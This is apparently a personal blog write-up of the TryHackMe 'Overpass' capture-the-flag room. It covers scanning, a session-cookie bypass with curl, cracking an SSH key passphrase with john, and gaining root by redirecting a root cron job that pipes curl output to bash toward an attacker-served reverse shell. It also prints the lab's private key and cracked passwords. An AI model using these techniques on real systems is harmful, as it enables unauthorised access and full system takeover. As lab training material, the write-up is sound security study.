WriteUp — THM Overpass

Jari Laurila
3 min readOct 24, 2020

--

What happens when some broke CompSci students make a password manager?

This is a WriteUp for TryHackMe room Overpass.

Photo by Georg Bommeli on Unsplash

Reconnaissance

Start with an NMAP scan too see which services are visible to the Internet.

nmap -sC -sV -p- overpass.thm 
Starting Nmap 7.91 ( https://nmap.org ) at 2020–10–21 18:23 EEST
Nmap scan report for overpass.thm (10.10.9.126)
Host is up (0.057s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
| 256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_ 256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Server enumeration

Run gobuster to find urls on the web server.

gobuster -w /usr/share/wordlists/dirb/common.txt -u http://overpass.thm -t 20 -x php,http,txt dir
/aboutus (Status: 301)
/admin (Status: 301)
/css (Status: 301)
/downloads (Status: 301)
/img (Status: 301)
/index.html (Status: 301)

home page source:

<!--Yeah right, just because the Romans used it doesn't make it military grade, change this?-->

Downloads page:

Downloads page contains the password manager binaries and the source code. Reviewing the source code reveals the encryption algorithm to be ROT-47:

//Secure encryption algorithm from https://socketloop.com/tutorials/golang-rotate-47-caesar-cipher-by-47-characters-example
func rot47(input string) string {
var result []string
for i := range input[:len(input)] {
j := int(input[i])
if (j >= 33) && (j <= 126) {
result = append(result, string(rune(33+((j+14)%94))))
} else {
result = append(result, string(input[i]))
}
}
return strings.Join(result, “”)
}

About us reveals a potential list of usernames:

Ninja — Lead Developer
Pars — Shibe Enthusiast and Emotional Support Animal Manager
Szymex — Head Of Security
Bee — Chief Drinking Water Coordinator
MuirlandOracle — Cryptography Consultant

login.js

async function login() {
const usernameBox = document.querySelector(“#username”);
const passwordBox = document.querySelector(“#password”);
const loginStatus = document.querySelector(“#loginStatus”);
loginStatus.textContent = “”
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData(“/api/login”, creds)
const statusOrCookie = await response.text()
if (statusOrCookie === “Incorrect credentials”) {
loginStatus.textContent = “Incorrect Credentials”
passwordBox.value=””
} else {
Cookies.set(“SessionToken”,statusOrCookie)
window.location = “/admin”
}

Reveals that authentication is based on SessionToken which is set by the server on login method.

Gaining access

Let’s see a login method response by setting a random SessionToken:

curl -L -b "SessionToken=knockknock" http://overpass.thm/admin...<p>Since you keep forgetting your password, James, I’ve set up SSH keys for you.</p>
<p>If you forget the password for this, crack it yourself. I’m tired of fixing stuff for you.<br>
Also, we really need to talk about this “Military Grade” encryption. — Paradox</p>
<pre> — — -BEGIN RSA PRIVATE KEY — — -
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337
LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
73/eUN9kYF0ua9rZC6mwoI2iG6sdlNL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgw1ljT
WDyy8qncljugOIf8QrHoo30Gv+dAMfipTSR43FGBZ/Hha4jDykUXP0PvuFyTbVdv
BMXmr3xuKkB6I6k/jLjqWcLrhPWS0qRJ718G/u8cqYX3oJmM0Oo3jgoXYXxewGSZ
AL5bLQFhZJNGoZ+N5nHOll1OBl1tmsUIRwYK7wT/9kvUiL3rhkBURhVIbj2qiHxR
3KwmS4Dm4AOtoPTIAmVyaKmCWopf6le1+wzZ/UprNCAgeGTlZKX/joruW7ZJuAUf
ABbRLLwFVPMgahrBp6vRfNECSxztbFmXPoVwvWRQ98Z+p8MiOoReb7Jfusy6GvZk
VfW2gpmkAr8yDQynUukoWexPeDHWiSlg1kRJKrQP7GCupvW/r/Yc1RmNTfzT5eeR
OkUOTMqmd3Lj07yELyavlBHrz5FJvzPM3rimRwEsl8GH111D4L5rAKVcusdFcg8P
9BQukWbzVZHbaQtAGVGy0FKJv1WhA+pjTLqwU+c15WF7ENb3Dm5qdUoSSlPzRjze
eaPG5O4U9Fq0ZaYPkMlyJCzRVp43De4KKkyO5FQ+xSxce3FW0b63+8REgYirOGcZ
4TBApY+uz34JXe8jElhrKV9xw/7zG2LokKMnljG2YFIApr99nZFVZs1XOFCCkcM8
GFheoT4yFwrXhU1fjQjW/cR0kbhOv7RfV5x7L36x3ZuCfBdlWkt/h2M5nowjcbYn
exxOuOdqdazTjrXOyRNyOtYF9WPLhLRHapBAkXzvNSOERB3TJca8ydbKsyasdCGy
AIPX52bioBlDhg8DmPApR1C1zRYwT1LEFKt7KKAaogbw3G5raSzB54MQpX6WL+wk
6p7/wOX6WMo1MlkF95M3C7dxPFEspLHfpBxf2qys9MqBsd0rLkXoYR6gpbGbAW58
dPm51MekHD+WeP8oTYGI4PVCS/WF+U90Gty0UmgyI9qfxMVIu1BcmJhzh8gdtT0i
n0Lz5pKY+rLxdUaAA9KVwFsdiXnXjHEE1UwnDqqrvgBuvX6Nux+hfgXi9Bsy68qT
8HiUKTEsukcv/IYHK1s+Uw/H5AWtJsFmWQs3bw+Y4iw+YLZomXA4E7yxPXyfWm4K
4FMg3ng0e4/7HRYJSaXLQOKeNwcf/LW5dipO7DmBjVLsC8eyJ8ujeutP/GcA5l6z
ylqilOgj4+yiS813kNTjCJOwKRsXg2jKbnRa8b7dSRz7aDZVLpJnEy9bhn6a7WtS
49TxToi53ZB14+ougkL4svJyYYIRuQjrUmierXAdmbYF9wimhmLfelrMcofOHRW2
+hL1kHlTtJZU8Zj2Y2Y3hd6yRNJcIgCDrmLbn9C5M0d7g0h2BlFaJIZOYDS6J6Yk
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
— — -END RSA PRIVATE KEY — — -</pre>

extract hash:

/usr/share/john/ssh2john.py id_rsa_john > hash

and crack the password:

sudo john — wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press ‘q’ or Ctrl-C to abort, almost any other key for status
james13 (id_rsa_john)
1g 0:00:00:06 DONE (2020–10–22 12:02) 0.1618g/s 2320Kp/s 2320Kc/s 2320KC/sa6_123..*7¡Vamos!

ssh with the credentials (__REDACTED__) as james and grab the flag.

Privesc

Enumerate home directory. Find note.txt. Check .overpass and find a password manager file. Use ROT-47 online to reveal the entry.

[{“name”:”System”,”pass”:”saydrawnlyingpicture”}]

Enumerate the server using linPEAS. Copy with scp to /tmp, chmod a+x and run.

There is a cronjob running every minute as root:

* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

LinPEAS also finds out that /etc/hosts is writable by us so there we have our escalation vector! Let’s make a reverse shell. Grab Bash shell from Pentestmonkey and serve it from our HTTP server.

sudo python -m SimpleHTTPServer 80

Edit /etc/hosts and point overpass.thm to our server ip. Setup nc and wait <60s to get remote shell as root. Grab the flag.

That’s all folks!

--

--

Jari Laurila
Jari Laurila

Written by Jari Laurila

CTO by day, learning cybersecurity by night.

No responses yet